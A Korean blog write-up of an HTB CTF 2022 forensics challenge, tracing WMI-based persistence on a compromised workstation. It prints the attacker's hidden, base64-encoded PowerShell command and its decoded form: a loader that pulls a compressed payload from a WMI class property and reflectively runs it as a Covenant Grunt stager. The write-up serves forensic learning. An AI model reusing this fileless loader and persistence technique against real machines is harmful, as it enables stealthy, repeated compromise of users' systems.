티스토리 뷰
문제 설명
During a recent security assessment of a well-known consulting company, the competent team found some employees' credentials in publicly available breach databases. Thus, they called us to trace down the actions performed by these users. During the investigation, it turned out that one of them had been compromised. Although their security engineers took the necessary steps to remediate and secure the user and the internal infrastructure, the user was getting compromised repeatedly. Narrowing down our investigation to find possible persistence mechanisms, we are confident that the malicious actors use WMI to establish persistence. You are given the WMI repository of the user's workstation. Can you analyze and expose their technique?
문제 풀이
포렌식에 대해서 1도 모르는 상황에서 문제를 풀어야겠다는 집념하나로 풀어본 문제입니다. 그래서 포렌식적으로 분석하지 않았을 수도 있으니 참고바랍니다.
우선 문제를 본격적으로 풀기에 앞서 저는 이 문제를 풀기 위한 모든 도구 및 자료들을 이 영상으로부터 알게 되었습니다.
https://www.youtube.com/watch?v=xBd6p-Lz3kE
WMI 란 무엇인지 간단한 소개부터 시작해서 WMI 를 포렌식하기 위해서는 어떻게 접근해야되는지도 알려줍니다.
fireeye의 프로젝트인 flare-wmi 레포지토리에 있는 python-cim 도구를 사용해서 문제에서 주어진 WMI Repository 내용을 분석하였습니다. 우선 최근에 실행한 프로그램을 조회해보았더니 아래와 같이 Window Updates 를 가장한 악성코드 하나가 나오는 걸 알 수 있습니다.
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAnAFIATwBPAFQAXABjAGkAbQB2ADIAOgBXAGkAbgAzADIAXwBNAGUAbQBvAHIAeQBBAHIAcgBhAHkARABlAHYAaQBjAGUAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAUAByAG8AcABlAHIAdAB5ACcAXQAuAFYAYQBsAHUAZQA7AHMAdgAgAG8AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQApADsAcwB2ACAAZAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEQAZQBmAGwAYQB0AGUAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGYAaQBsAGUAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAOwBzAHYAIABiACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AKAAxADAAMgA0ACkAKQA7AHMAdgAgAHIAIAAoAGcAdgAgAGQAKQAuAFYAYQBsAHUAZQAuAFIAZQBhAGQAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAxADAAMgA0ACkAOwB3AGgAaQBsAGUAKAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQAgAC0AZwB0ACAAMAApAHsAKABnAHYAIABvACkALgBWAGEAbAB1AGUALgBXAHIAaQB0AGUAKAAoAGcAdgAgAGIAKQAuAFYAYQBsAHUAZQAsADAALAAoAGcAdgAgAHIAKQAuAFYAYQBsAHUAZQApADsAcwB2ACAAcgAgACgAZwB2ACAAZAApAC4AVgBhAGwAdQBlAC4AUgBlAGEAZAAoACgAZwB2ACAAYgApAC4AVgBhAGwAdQBlACwAMAAsADEAMAAyADQAKQA7AH0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAoAGcAdgAgAG8AKQAuAFYAYQBsAHUAZQAuAFQAbwBBAHIAcgBhAHkAKAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAwACwAQAAoACwAWwBzAHQAcgBpAG4AZwBbAF0AXQBAACgAKQApACkAfABPAHUAdAAtAE4AdQBsAGwA
powershell 명령어인데요. base64 디코딩을 해보면 아래와 같습니다.
$file = ([wmiclass]'ROOT\cimv2:Win32_MemoryArrayDevice').Properties['Property'].Value;
Set-Variable o (New-Object IO.MemoryStream);
Set-Variable d (New-Object IO.Compression.DeflateStream ([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress));
Set-Variable b (New-Object Byte[] (1024));
Set-Variable Invoke-History (Get-Variable d).Value.Read((Get-Variable b).Value,0,1024);
while ((Get-Variable Invoke-History).Value -gt 0) {
(Get-Variable o).Value.Write((Get-Variable b).Value,0,(Get-Variable Invoke-History).Value);
Set-Variable Invoke-History (Get-Variable d).Value.Read((Get-Variable b).Value,0,1024);
}
[Reflection.Assembly]::Load((Get-Variable o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@())) | Out-Null
file 변수에 지정된 값이 Win32_MemoryArrayDevice 의 Property 속성의 값이 대입되고 있는데요.
그리고 base64 디코딩하는 것으로 보아 file 변수에 들어오는 값이 base64 형태로 보입니다. while 반복문으로 계속 읽어들여서 로드하려는 것으로 보아 무척이나 큰 파일 같습니다.
어떤 값을 읽어오려는지 한번 보겠습니다. root\CIMV2\ 에 정의되어 있는 클래스 중 Win32_MemoryArrayDevice 클래스의 Properties 중에서 Property 라는 이름의 default value 에 정의되어 있는 문자열은 아래와 같았습니다.
해당 문자열을 이제 아까 위에서 보았던 반복문이 있는 코드에서 돌려서 복호화를 해보겠습니다.
$file = '위에서 나온 base64 인코딩된 문자열';
Set-Variable o (New-Object IO.MemoryStream);
Set-Variable d (New-Object IO.Compression.DeflateStream ([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress));
Set-Variable b (New-Object Byte[] (1024));
Set-Variable Invoke-History (Get-Variable d).Value.Read((Get-Variable b).Value,0,1024);
while ((Get-Variable Invoke-History).Value -gt 0) {
(Get-Variable o).Value.Write((Get-Variable b).Value,0,(Get-Variable Invoke-History).Value);
Set-Variable Invoke-History (Get-Variable d).Value.Read((Get-Variable b).Value,0,1024);
}
# [Reflection.Assembly]::Load((Get-Variable o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@())) | Out-Null
[System.Text.Encoding]::ASCII.GetString((Get-Variable o).Value.ToArray());
그리고 마지막 코드에서는 byte array 데이터를 문자열로 출력하도록한 것입니다. 그리고 그 결과로는 시작 문자열이 MZ인 것을 확인할 수 있고 이어서 This program cannot be run in DOS mode. 가 나옵니다. 그 뜻은 PE 파일이라는 것을 짐작케해줍니다.
한번 exe 파일이나 dll 파일로 변환해서 리버싱해보겠습니다.
그러면 GruntStager 클래스의 ExecuteStager 함수에서 특정 IP로 HTTP 요청하고 있는 코드부분에 Flag 값이 있는 것을 확인할 수 있었습니다.
참고로 GruntStager 는 Covenant 프레임워크에서 사용되는 클래스였습니다. 자세한 건 아래 링크 참고바랍니다.
https://github.com/cobbr/Covenant
추출한 Flag 내용
SFRCezFfdGgwdWdodF9XTTFfdzRzX2p1c3RfNF9NNE40ZzNtM250X1QwMGx9
HTB{1_th0ught_WM1_w4s_just_4_M4N4g3m3nt_T00l}
마무리
WMI(Windows Management Instrumentation) 이 정확히 어떤 것인지 잘 모르는 상태에서 풀었기에 더욱 아쉬운 문제입니다. 이후 포스팅에서는 WMI와 WMI 포렌식에 대해서 더 알아보고 올리도록 하겠습니다.
해당 문제는 HTB CTF 2022에서 포렌식 분야 중에 Easy에 해당하는 문제였습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] - [Forensics] Rogue Writeup(문제풀이) (1) | 2022.07.27 |
---|---|
[Hackthebox] - [Forensics] Mbcoin Writeup(문제풀이) (0) | 2022.07.26 |
[Hackthebox] - [Forensics] Lina's Invitation Writeup(문제풀이) (0) | 2022.07.19 |
[GoogleCTF2022] TREEBOX Writeup(문제풀이) (0) | 2022.07.04 |
[GoogleCTF2022] JS SAFE 4.0 Writeup(문제풀이) (0) | 2022.07.04 |